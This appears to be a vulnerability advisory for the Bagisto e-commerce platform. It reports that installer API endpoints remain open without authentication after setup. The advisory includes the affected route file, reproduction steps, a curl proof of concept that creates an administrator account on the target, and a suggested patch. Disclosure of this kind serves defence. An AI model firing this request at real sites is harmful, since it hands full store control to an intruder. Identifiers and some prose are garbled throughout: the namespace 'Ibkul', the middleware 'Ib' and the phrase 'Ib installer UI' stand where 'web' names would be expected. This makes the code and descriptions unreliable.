Bagisto Missing Authentication on Installer API Endpoints
Details

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

<?php

use Illuminate\\Session\\Middleware\\StartSession;  
use Illuminate\\Support\\Facades\\Route;  
use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\_locale'\])-\>group(function () {  
    Route::controller(InstallerController::class)-\>group(function () {  
        Route::get('install', 'index')-\>name('installer.index');

        Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () {  
            Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup');  
            Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib');  
            Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib');  
            Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib');  
            Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib');  
            Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib');  
        });  
    });  
});

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

  • Create admin accounts
  • Modify application configuration
  • Potentially overwrite existing data

the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

  1. The Ib installer UI at http://localhost:8000/install has client-side protections
  2. However, the API endpoints are directly exploitable:
  3. The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client
  4. No CSRF token, session, or authentication is required
  5. The Ib UI workflow is completely bypassed

Proof of Concept

#!/bin/bash
# PoC: Create admin account without authentication


TARGET="http://localhost:8000"


# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" \
    -H "Content-Type: application/json" \
    -d '{
        "admin_name": "Attacker",
        "admin_email": "attacker@evil.com",
        "admin_password": "HackedPassword123"
    }'


echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

// In InstallerController.php or a new middleware


public function __construct()
{
    // Check if application is already installed
    if (file_exists(base_path('.env')) &&
        config('app.key') &&
        \Schema::hasTable('admins') &&
        \DB::table('admins')->count() > 0) {
        abort(404, 'Application already installed');
    }
}
